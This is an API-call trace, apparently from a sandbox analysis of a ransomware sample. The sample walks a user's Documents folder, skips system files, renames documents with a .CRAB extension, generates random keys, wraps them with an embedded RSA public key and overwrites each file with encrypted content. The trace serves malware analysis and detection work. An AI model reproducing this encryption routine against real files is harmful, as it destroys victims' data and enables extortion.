	[0128.610] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\EKUyDH03JGhMH20FkVD.docx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\EKUyDH03JGhMH20FkVD.docx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\EKUyDH03JGhMH20FkVD.docx.CRAB"
	[0128.610] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\EKUyDH03JGhMH20FkVD.docx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\EKUyDH03JGhMH20FkVD.docx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\EKUyDH03JGhMH20FkVD.docx.CRAB.CRAB"
	[0128.610] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0128.613] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.613] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.613] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.613] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0128.613] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.613] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.614] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e9e0) returned 1
	[0128.616] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.617] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.617] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.617] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0128.617] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0128.617] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.617] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0128.617] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0128.618] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e5a0) returned 1
	[0128.620] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318f978) returned 1
	[0128.620] CryptGetKeyParam (in: hKey=0x318f978, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0128.620] CryptEncrypt (in: hKey=0x318f978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0128.621] GetLastError () returned 0x0
	[0128.621] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0128.621] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0128.623] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318f9b8) returned 1
	[0128.624] CryptGetKeyParam (in: hKey=0x318f9b8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0128.624] CryptEncrypt (in: hKey=0x318f9b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0128.624] GetLastError () returned 0x0
	[0128.624] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.624] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\EKUyDH03JGhMH20FkVD.docx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ekuydh03jghmh20fkvd.docx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0128.624] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0128.625] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0128.625] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0x4e5f, lpOverlapped=0x0) returned 1
	[0128.637] VirtualAlloc (lpAddress=0x0, dwSize=0x4e60, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0128.638] VirtualAlloc (lpAddress=0x0, dwSize=0x4e60, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0128.639] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.639] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffffb1a1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.639] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x4e60, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x4e60, lpOverlapped=0x0) returned 1
	[0128.639] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.639] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.643] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0128.643] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0128.644] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0128.644] CloseHandle (hObject=0x3e8) returned 1
	[0128.644] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.644] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.644] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.645] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.645] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.645] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.645] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0128.645] lstrcmpW (lpString1="F1HFBG31Cjk.pptx", lpString2=".") returned 1
	[0128.645] lstrcmpW (lpString1="F1HFBG31Cjk.pptx", lpString2="..") returned 1
	[0128.645] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="F1HFBG31Cjk.pptx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F1HFBG31Cjk.pptx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F1HFBG31Cjk.pptx"
	[0128.645] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.645] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F1HFBG31Cjk.pptx") returned 48
	[0128.646] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F1HFBG31Cjk.pptx") returned 48
	[0128.646] lstrlenW (lpString=".pptx") returned 5
	[0128.646] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.646] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".pptx ") returned 6
	[0128.646] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.646] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F1HFBG31Cjk.pptx") returned 48
	[0128.646] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F1HFBG31Cjk.pptx") returned 48
	[0128.646] lstrcmpiW (lpString1="F1HFBG31Cjk.pptx", lpString2="desktop.ini") returned 1
	[0128.646] lstrcmpiW (lpString1="F1HFBG31Cjk.pptx", lpString2="autorun.inf") returned 1
	[0128.646] lstrcmpiW (lpString1="F1HFBG31Cjk.pptx", lpString2="ntuser.dat") returned -1
	[0128.646] lstrcmpiW (lpString1="F1HFBG31Cjk.pptx", lpString2="iconcache.db") returned -1
	[0128.646] lstrcmpiW (lpString1="F1HFBG31Cjk.pptx", lpString2="bootsect.bak") returned 1
	[0128.646] lstrcmpiW (lpString1="F1HFBG31Cjk.pptx", lpString2="boot.ini") returned 1
	[0128.646] lstrcmpiW (lpString1="F1HFBG31Cjk.pptx", lpString2="ntuser.dat.log") returned -1
	[0128.646] lstrcmpiW (lpString1="F1HFBG31Cjk.pptx", lpString2="thumbs.db") returned -1
	[0128.646] lstrcmpiW (lpString1="F1HFBG31Cjk.pptx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0128.646] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.647] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F1HFBG31Cjk.pptx.CRAB") returned 53
	[0128.647] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F1HFBG31Cjk.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\f1hfbg31cjk.pptx")) returned 0x20
	[0128.647] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F1HFBG31Cjk.pptx", dwFileAttributes=0x20) returned 1
	[0128.647] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F1HFBG31Cjk.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\f1hfbg31cjk.pptx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F1HFBG31Cjk.pptx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\f1hfbg31cjk.pptx.crab")) returned 1
	[0128.648] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0128.649] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F1HFBG31Cjk.pptx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F1HFBG31Cjk.pptx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F1HFBG31Cjk.pptx.CRAB"
	[0128.649] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F1HFBG31Cjk.pptx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F1HFBG31Cjk.pptx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F1HFBG31Cjk.pptx.CRAB.CRAB"
	[0128.649] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e9e0) returned 1
	[0128.651] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.652] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.652] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.652] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0128.652] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0128.652] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.652] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e7c0) returned 1
	[0128.655] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.655] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.655] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.655] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0128.655] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0128.655] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.656] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0128.656] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0128.656] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0128.659] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318f578) returned 1
	[0128.659] CryptGetKeyParam (in: hKey=0x318f578, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0128.659] CryptEncrypt (in: hKey=0x318f578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0128.660] GetLastError () returned 0x0
	[0128.660] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.660] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e9e0) returned 1
	[0128.662] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e4b8) returned 1
	[0128.662] CryptGetKeyParam (in: hKey=0x318e4b8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0128.663] CryptEncrypt (in: hKey=0x318e4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0128.663] GetLastError () returned 0x0
	[0128.663] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0128.663] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\F1HFBG31Cjk.pptx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\f1hfbg31cjk.pptx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0128.663] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0128.664] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0128.664] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0x12c2, lpOverlapped=0x0) returned 1
	[0128.676] VirtualAlloc (lpAddress=0x0, dwSize=0x12d0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0128.676] VirtualAlloc (lpAddress=0x0, dwSize=0x12d0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0128.677] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.677] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffffed3e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.677] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x12d0, lpOverlapped=0x0) returned 1
	[0128.677] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.677] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.681] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0128.681] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0128.681] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0128.681] CloseHandle (hObject=0x3e8) returned 1
	[0128.682] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.682] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.682] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.682] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.682] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.683] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.683] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0128.683] lstrcmpW (lpString1="gGpqTAi7ZrEJwAu.docx", lpString2=".") returned 1
	[0128.683] lstrcmpW (lpString1="gGpqTAi7ZrEJwAu.docx", lpString2="..") returned 1
	[0128.683] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="gGpqTAi7ZrEJwAu.docx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gGpqTAi7ZrEJwAu.docx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gGpqTAi7ZrEJwAu.docx"
	[0128.683] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.683] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gGpqTAi7ZrEJwAu.docx") returned 52
	[0128.683] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gGpqTAi7ZrEJwAu.docx") returned 52
	[0128.683] lstrlenW (lpString=".docx") returned 5
	[0128.683] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.684] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".docx ") returned 6
	[0128.684] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.684] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gGpqTAi7ZrEJwAu.docx") returned 52
	[0128.684] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gGpqTAi7ZrEJwAu.docx") returned 52
	[0128.684] lstrcmpiW (lpString1="gGpqTAi7ZrEJwAu.docx", lpString2="desktop.ini") returned 1
	[0128.684] lstrcmpiW (lpString1="gGpqTAi7ZrEJwAu.docx", lpString2="autorun.inf") returned 1
	[0128.684] lstrcmpiW (lpString1="gGpqTAi7ZrEJwAu.docx", lpString2="ntuser.dat") returned -1
	[0128.684] lstrcmpiW (lpString1="gGpqTAi7ZrEJwAu.docx", lpString2="iconcache.db") returned -1
	[0128.684] lstrcmpiW (lpString1="gGpqTAi7ZrEJwAu.docx", lpString2="bootsect.bak") returned 1
	[0128.684] lstrcmpiW (lpString1="gGpqTAi7ZrEJwAu.docx", lpString2="boot.ini") returned 1
	[0128.684] lstrcmpiW (lpString1="gGpqTAi7ZrEJwAu.docx", lpString2="ntuser.dat.log") returned -1
	[0128.684] lstrcmpiW (lpString1="gGpqTAi7ZrEJwAu.docx", lpString2="thumbs.db") returned -1
	[0128.684] lstrcmpiW (lpString1="gGpqTAi7ZrEJwAu.docx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0128.684] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.684] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gGpqTAi7ZrEJwAu.docx.CRAB") returned 57
	[0128.684] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gGpqTAi7ZrEJwAu.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ggpqtai7zrejwau.docx")) returned 0x20
	[0128.685] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gGpqTAi7ZrEJwAu.docx", dwFileAttributes=0x20) returned 1
	[0128.685] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gGpqTAi7ZrEJwAu.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ggpqtai7zrejwau.docx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gGpqTAi7ZrEJwAu.docx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ggpqtai7zrejwau.docx.crab")) returned 1
	[0128.690] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0128.691] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gGpqTAi7ZrEJwAu.docx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gGpqTAi7ZrEJwAu.docx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gGpqTAi7ZrEJwAu.docx.CRAB"
	[0128.691] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gGpqTAi7ZrEJwAu.docx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gGpqTAi7ZrEJwAu.docx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gGpqTAi7ZrEJwAu.docx.CRAB.CRAB"
	[0128.691] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0128.693] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.694] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.694] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.694] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0128.694] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.694] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.694] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0128.697] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.697] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.698] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.698] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0128.698] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.698] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.698] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0128.698] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0128.698] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e6b0) returned 1
	[0128.701] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318dcf8) returned 1
	[0128.701] CryptGetKeyParam (in: hKey=0x318dcf8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0128.701] CryptEncrypt (in: hKey=0x318dcf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0128.702] GetLastError () returned 0x0
	[0128.702] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0128.702] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
